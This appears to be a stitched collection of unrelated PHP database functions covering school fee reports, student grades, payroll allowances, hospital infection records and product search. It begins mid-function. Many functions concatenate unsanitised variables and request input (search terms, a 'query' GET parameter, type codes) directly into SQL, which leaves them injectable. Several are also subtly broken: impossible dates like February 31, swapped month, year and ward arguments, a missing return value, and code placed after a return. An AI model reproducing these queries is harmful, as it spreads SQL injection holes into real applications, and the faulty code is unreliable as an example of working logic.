= $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_monto) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-12-01' AND '$anio-12-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 12\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as cargos_diciembre,\";\n }\n ///---descuentos---///\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-01-01' AND '$anio-01-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 1\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-02-01' AND '$anio-02-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 2\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-03-01' AND '$anio-03-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 3\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-04-01' AND '$anio-04-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 4\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-05-01' AND '$anio-05-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 5\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-06-01' AND '$anio-06-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 6\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-07-01' AND '$anio-07-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 7\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-08-01' AND '$anio-08-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 8\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-09-01' AND '$anio-09-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 9\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-10-01' AND '$anio-10-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 10\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-11-01' AND '$anio-11-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 11\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(bol_descuento) FROM boletas_boleta_cobro WHERE bol_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND bol_fecha_pago BETWEEN '$anio-12-01' AND '$anio-12-31'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND bol_periodo_fiscal = $periodo AND MONTH(bol_fecha_pago) = 12\";\n }\n if(strlen($tipo)>0) {\n $sql.= \" AND bol_tipo = '$tipo'\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as descuentos_diciembre,\";\n }\n ///---pagos---///\n if($mes == 1 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-01-01 00:00:00' AND '$anio-01-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 1\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_enero,\";\n }\n if($mes == 2 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-02-01 00:00:00' AND '$anio-02-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 2\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_febrero,\";\n }\n if($mes == 3 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-03-01 00:00:00' AND '$anio-03-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 3\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_marzo,\";\n }\n if($mes == 4 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-04-01 00:00:00' AND '$anio-04-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 4\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_abril,\";\n }\n if($mes == 5 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-05-01 00:00:00' AND '$anio-05-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 5\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_mayo,\";\n }\n if($mes == 6 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-06-01 00:00:00' AND '$anio-06-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 6\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_junio,\";\n }\n if($mes == 7 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-07-01 00:00:00' AND '$anio-07-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 7\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_julio,\";\n }\n if($mes == 8 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-08-01 00:00:00' AND '$anio-08-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 8\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_agosto,\";\n }\n if($mes == 9 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-09-01 00:00:00' AND '$anio-09-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 9\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_septiembre,\";\n }\n if($mes == 10 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-10-01 00:00:00' AND '$anio-10-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 10\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_octubre,\";\n }\n if($mes == 11 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-11-01 00:00:00' AND '$anio-11-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 11\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_noviembre,\";\n }\n if($mes == 12 || $mes == 13) {\n $sql.= \" (SELECT SUM(pag_efectivo)+SUM(pag_cheques_propios)+SUM(pag_otros_bancos)+SUM(pag_online) FROM boletas_pago_boleta,boletas_boleta_cobro\";\n $sql.= \" WHERE bol_codigo = pag_programado AND pag_alumno = alu_cui\";\n if(strlen($anio)>0) {\n $sql.= \" AND pag_fechor BETWEEN '$anio-12-01 00:00:00' AND '$anio-12-31 23:59:00'\";\n }\n if(strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo AND MONTH(pag_fechor) = 12\";\n }\n $sql.= \" AND bol_division = $division AND bol_grupo = $grupo AND bol_situacion = 1) as pagos_diciembre,\";\n }\n //--\n $sql = substr($sql, 0, -1); //limpia la ultima coma de los subquerys\n //--\n $sql.= \" FROM academ_grado, academ_secciones, academ_seccion_alumno, app_alumnos\";\n $sql.= \" WHERE sec_pensum = gra_pensum\";\n $sql.= \" AND sec_nivel = gra_nivel\";\n $sql.= \" AND sec_grado = gra_codigo\";\n $sql.= \" AND seca_pensum = sec_pensum\";\n $sql.= \" AND seca_nivel = sec_nivel\";\n $sql.= \" AND seca_grado = sec_grado\";\n $sql.= \" AND seca_seccion = sec_codigo\";\n $sql.= \" AND seca_alumno = alu_cui\";\n $sql.= \" AND alu_situacion != 2\";\n if(strlen($pensum)>0) {\n $sql.= \" AND seca_pensum = $pensum\";\n }\n if(strlen($nivel)>0) {\n $sql.= \" AND seca_nivel = $nivel\";\n }\n if(strlen($grado)>0) {\n $sql.= \" AND seca_grado = $grado\";\n }\n if(strlen($seccion)>0) {\n $sql.= \" AND seca_seccion = $seccion\";\n }\n $sql.= \" ORDER BY seca_nivel ASC, seca_grado ASC, sec_codigo ASC, alu_apellido ASC, alu_nombre ASC\";\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br><br>\";\n return $result;\n }", "function get_uraian($kode, $level)\n{\n switch ($level) {\n case 5:\n $where = \"\";\n break;\n case 4:\n $where = \" and SubSub is null\";\n break;\n case 3:\n $where = \" and sub is null and SubSub is null\";\n break;\n case 2:\n $where = \" and kelompok is null and sub is null and SubSub is null\";\n break;\n case 1:\n $where = \" and bidang is null and kelompok is null and sub is null and SubSub is null\";\n break;\n\n default:\n break;\n }\n $query = \"select Uraian from kelompok where Kode like '$kode%' $where limit 1\";\n $result = mysql_query ($query) or die(mysql_error());\n while ($row = mysql_fetch_array ($result)) {\n $Uraian = $row[ Uraian ];\n }\n return $Uraian;\n}", "public function getBiayaCuti ($tahun,$idsmt,$idkelas) {\n $str = \"SELECT biaya FROM kombi_per_ta WHERE idkombi=12 AND tahun=$tahun AND idsmt=$idsmt AND idkelas='$idkelas'\";\t\t\t\t\t\t\n\t\t$this->db->setFieldTable(array('biaya'));\n\t\t$result=$this->db->getRecord($str);\n\t\tif (isset($result[1])) {\n\t\t\treturn $result[1]['biaya'];\t\n\t\t}else {\n\t\t\treturn 0;\n\t\t} \t\t\t\n\t}", "function getTunjTetapAwal($conn) {\n $sql = \"select kodetunjangan,namatunjangan from \" . static::table('ms_tunjangan') . \" where isbayargaji = 'T' and isaktif = 'Y' order by kodetunjangan\";\n $a_jtunjawal = Query::arrQuery($conn, $sql);\n\n return $a_jtunjawal;\n }", "function get_sorted($bulan = NULL, $tahun = NULL, $bangsal = NULL) {\n $this->db->order_by($this->id, $this->order);\n $this->db->where('tahun', $tahun);\n\t\t$this->db->where('bangsal', $bangsal);\n\t\t$this->db->where('bulanw', $bulan);\n return $this->db->get($this->table)->result();\n }", "function selectAluByTurdisc($turma,$disc){\n\t\t$link = openDb();\n\t\t$sql =\"SELECT alu_matricula, alu_nome, not_valor, not_trime, disc_nome, turma.tur_id FROM (((notas n INNER JOIN aluno a ON n.alu_id=a.alu_id) INNER JOIN disciplina ds ON ds.disc_id=n.disc_id AND ds.disc_id = '$disc') INNER JOIN turma ON turma.tur_id=n.tur_id AND n.tur_id='$turma')\";\n\t\tmysqli_set_charset($link,\"utf8\");\n\t\t$query = $link -> query($sql);\n\t\t$_SESSION['nTuplas'] = mysqli_num_rows($query)/3;\n\t\t$retorno = array();\n\t\t$x \t =0;\n\t\t$y \t =0;\n\t\t$cont=1;\n\t\twhile ($result=mysqli_fetch_array($query)) {\n\t\t\tif ($cont==1) {\n\t\t\t\t$retorno[$x][$y]=$result['alu_matricula'];\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['alu_nome'];\n\t\t\t\t/*$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['disc_nome'];*/\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t}\n\t\t\tif ($cont==2) {\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t}\n\t\t\tif ($cont==3) {\n\t\t\t\t$y+=1;\n\t\t\t\t$retorno[$x][$y]=$result['not_valor'];\n\t\t\t\t$y+=1;\n\t\t\t\t//if(!$retorno[$x][2] == NULL && !$retorno[$x][3] == NULL && !$retorno[$x][4] == NULL){\n\t\t\t\t\t$retorno[$x][$y]=arredonda(($retorno[$x][2]+$retorno[$x][3]+$retorno[$x][4])/3);\n\t\t\t\t/*}else{\n\t\t\t\t\t$retorno[$x][$y] = NULL;\n\t\t\t\t}*/\n\t\t\t\t$x+=1;\n\t\t\t\t$y=0;\n\t\t\t\t$cont=0;\n\t\t\t}\n\t\t\t$cont+=1;\n\t\t}\n\t\t$link -> close();\n\t\treturn $retorno;\n\t}", "protected function getUbigeo ($abrvubg=false, $abrvcat=false, $idcat=false)\n {\n\n // Tablas validas para Ubigeo\n $tblsUbg = array('dpto'=>'departamento', 'prov'=>'provincia', 'dist'=>'distrito');\n //var_dump($tblsUbg[0]); exit;\n // nombre de tabla a consultar\n $tblUbg = ($abrvubg && key_exists($abrvubg, $tblsUbg)) ? $tblsUbg[$abrvubg] : false;\n $tblCat = ($abrvcat && key_exists($abrvcat, $tblsUbg)) ? $tblsUbg[$abrvcat] : false;\n\n $resTbl = array(); // Resultado\n\n if ($tblUbg) {\n $db = $this->db;\n $db = $db::connection(DB_SETTINGS_NAME); // 'db_casa_local_oniees'\n\n ///$query = $db->table($cat)->where('activo','=','1');\n $query = $db->table($tblUbg)->select(\"*\");\n if ($idcat && $tblCat) { $query->where(\"{$tblCat}_id\",'=',$idcat); }//->toSql()\n //var_dump($query->toSql()); exit;\n $resTbl = $query->get()->all();\n }\n return $resTbl;\n }", "function get_tanggungjawab()\n\t{\n\t\t$sj = $this->get_id_jabatan();\n\t\t$query = sprintf(\"select * from frm_isian_10_tanggungjawab where kode_jabatan='%s' and kode_instansi='%s'\", $sj['kode'], $sj['kode_instansi']);\n\t\tif($this->input->get('query'))\n\t\t{\n\t\t\t$where = \" and tanggungjawab like '%\".$this->input->get('query').\"%'\";\n\t\t\t$query .= $where;\n\t\t}\n\t\t$query .= \" order by tanggungjawab asc\";\n\t\t$rs = $this->db->query($query);\n\t\t$data = $rs->result_array();\n\t\techo json_encode(array('total'=>count($data), 'data'=>$data));\n\t}", "function jmlTunjSabtuAhad($conn, $r_periode, $r_periodetarif, $r_pegawai) {\n\t\t$i_tunj = \"'T00004','T00015','T00019','T00001','T00017','T00018','T00020','T00021'\";\n $sql = \"select coalesce(sum(g.nominal),0) from \" . static::table('ga_tunjanganpeg') . \" g\n\t\t\t\twhere g.periodegaji = '$r_periode' and g.periodetarif = '$r_periodetarif' and g.idpegawai = $r_pegawai and g.kodetunjangan in ($i_tunj)\";\n\n $jml = $conn->GetOne($sql);\n\n return $jml;\n }", "function get_ranking_kegiatan($keg_bulan,$keg_tahun,$jenis_nilai) {\n\t$keg_rangking='';\n\t$db_keg = new db();\n\t$conn_keg = $db_keg->connect();\n\t$sql_keg= $conn_keg\t-> query(\"select keg_t_unitkerja, sum(keg_target.keg_t_point_waktu) as point_waktu, sum(keg_target.keg_t_point_jumlah) as point_jumlah, sum(keg_target.keg_t_point) as point_total, avg(keg_target.keg_t_point) as point_rata from keg_target,kegiatan where kegiatan.keg_id=keg_target.keg_id and month(kegiatan.keg_end)='$keg_bulan' and year(kegiatan.keg_end)='$keg_tahun' and keg_target.keg_t_target>0 group by keg_t_unitkerja order by point_rata desc, point_total desc\");\n\t$cek_keg=$sql_keg->num_rows;\n\tif ($cek_keg>0) {\n\t\t$data_rangking[]='';\n\t\twhile ($k=$sql_keg->fetch_object()) {\n\t\t\tif ($jenis_nilai==1) {\n\t\t\t\t$data_rangking[]=number_format($k->point_jumlah,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==2) {\n\t\t\t\t$data_rangking[]=number_format($k->point_waktu,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==3) {\n\t\t\t\t$data_rangking[]=number_format($k->point_total,2,\".\",\",\");\n\t\t\t}\n\t\t\telseif ($jenis_nilai==4) {\n\t\t\t\t$data_rangking[]=number_format($k->point_rata,4,\".\",\",\");\n\t\t\t}\n\t\t\telse {\n\t\t\t\t$data_rangking[]='';\n\t\t\t}\n\t\t}\n\t\t$keg_rangking=$data_rangking;\n\t}\n\telse {\n\t\t$keg_rangking='';\n\t}\n\treturn $keg_rangking;\n\t$conn_keg->close();\n}", "function cargar_cuenta_banco($buscar='') {\n if($buscar==''){\n $sql = \"SELECT id_plan_contable,cuenta_plan_contable,descripcion_plan_contable,cargar_plan_contable,abonar_plan_contable,transferencia_plan_contable FROM prosic_plan_contable ORDER BY cuenta_plan_contable\";\n }else{\n $sql = \"SELECT id_plan_contable,cuenta_plan_contable,descripcion_plan_contable,cargar_plan_contable,abonar_plan_contable,transferencia_plan_contable FROM prosic_plan_contable WHERE cuenta_plan_contable LIKE '\".$buscar.\"%' ORDER BY cuenta_plan_contable\";\n }\n \n $result = $this->Consulta_Mysql($sql);\n return $result;\n }", "function get_all_m_jadwal_praktek_antrian($jadwal_praktek_fk)\n {\n $where ='';\n if ($jadwal_praktek_fk!=0) {\n $where = \"AND a.jadwal_praktek_fk='$jadwal_praktek_fk'\";\n }\n $this->db->query(\" SELECT *,a.pk as id,b.nama as pasien,c.id_session_jadwal, d.metode_bayar\n FROM m_jadwal_praktek_antrian a\n LEFT JOIN m_kontak b on a.pasien_fk = b.pk\n LEFT JOIN m_jadwal_praktek c on a.jadwal_praktek_fk = c.pk \n\t\t\t\t\t\t\t\t LEFT JOIN m_metode_pembayaran d on a.metode_pembayaran_fk = d.pk\n WHERE 1=1 $where ORDER BY jadwal_praktek_fk,nomor_urut asc\")->result_array();\n\n\n /*$this->db->get('m_jadwal_praktek_antrian')->result_array();*/\n }", "function cariDataBarang_pr1($nmbarang=\"\") {\n\t\t$grid = new GridConnector($this->db->conn_id);\n $grid->render_sql(\"select a.id,a.idgroup_barang,a.nmbarang,b.nmjenis from v_master_barang_detail a left join ref_jenis_barang b on a.idjns_item = b.idjenis where a.is_active = '1' and a.sts_jual = '1' and a.nmbarang like '%\".$nmbarang.\"%' group by a.idgroup_barang\",\"id\",\"idgroup_barang,nmbarang,nmjenis\");\n\t}", "public function belum_terbayar($where){\n\t\t// return $data->result_array();\n\t\t$this->db->select('*');\n\t\t$this->db->from('detail_beli');\n\t\t$this->db->join('pembelian','detail_beli.id_beli=pembelian.id_beli','left');\n\t\t$this->db->join('produk','detail_beli.id_produk=produk.id_produk','left');\n\t\t$this->db->where('pembelian.status_pembelian=\"belum terbayar\"');\n\t\t$this->db->where($where);\n\t\treturn $this->db->get()->result_array();\n\t}", "public function getMerk() {\r\n $sql = $this->db->query(\"SELECT * FROM ms_car_merk ORDER BY merk_deskripsi\");\r\n if ($sql->num_rows() > 0) {\r\n return $sql->result_array();\r\n }\r\n return null;\r\n }", "function ventasBrutas($fi, $ff){\n $data2=array();\n $this->query= \"SELECT * FROM CLIE03 WHERE TIPO_EMPRESA = 'M'\";\n $rs=$this->EjecutaQuerySimple();\n while($tsarray=ibase_fetch_object($rs)){\n $data[]=$tsarray;\n }\n $facutras = 0;\n foreach ($data as $clie) {\n $cliente = $clie->CLAVE;\n\n $this->query=\"SELECT CLAVE, nombre,\n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as fact from cuen_m03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'C' and num_cpto = 1 and trim(cve_clie) = trim('$cliente') ) as Facturas,\n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as ncs from cuen_det03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'C' and num_cpto =16 and trim(cve_clie) = trim('$cliente') ) as imptNC, \n (select iif( (sum(importe)is null or sum(importe) = 0), 0 , sum(importe) / 1.16) as cnp from cuen_det03 where fecha_apli between '$fi' and '$ff' and tipo_mov = 'A' and num_cpto >= 23 and trim(cve_clie) = trim('$cliente')) as AbonosNoPagos\n from Clie03\n where trim(clave) = trim('$cliente')\";\n //echo $this->query.'<p>';\n\n \n $rs2=$this->EjecutaQuerySimple();\n while($tsarray= ibase_fetch_object($rs2)){\n $data2[]=$tsarray;\n }\n }\n\n\n\n return $data2;\n }", "function search_index_laporan( $bulan = NULL, $tahun = NULL, $bangsal = NULL, $jenis = NULL) {\n $this->db->order_by($this->id, $this->order);\n\t\t$this->db->join('ppi_tb_infeksi', 'ppi_tb_infeksi.id_infeksi = ppi_tb_nilai.id_infeksi');\n $this->db->where('ppi_tb_nilai.bulan', $tahun);\n\t\t$this->db->where('ppi_tb_nilai.tahun', $bangsal);\n\t\t$this->db->where('ppi_tb_nilai.bangsal', $bulan);\n\t\t$this->db->where('ppi_tb_infeksi.id_infeksi', $jenis);\n return $this->db->get($this->table)->result();\n }", "public function get_berita($ofset,$limit,$seo_judul = null,$id = null,$status = null,$kategori = null)\n\t{\n\t\tif($seo_judul != null){\n\t\t\t$sql = \"call 